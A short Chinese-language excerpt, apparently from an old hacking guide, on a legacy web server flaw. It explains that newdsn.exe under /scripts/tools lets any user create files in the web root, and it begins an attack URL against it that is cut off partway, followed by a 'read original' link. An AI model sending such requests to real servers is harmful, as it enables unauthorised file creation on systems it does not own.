UNICODE漏洞

   ☆發現/scripts/tools/newdsn.exe漏洞newdsn.exe :一個存在於/scripts/tools目錄下的newdsn.exe文件容許任何一個用戶在web根目錄下建立任何文件。1． 建立文件：http://xxx.xxx.xxx.xxx/scripts/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*

>>阅读原文<<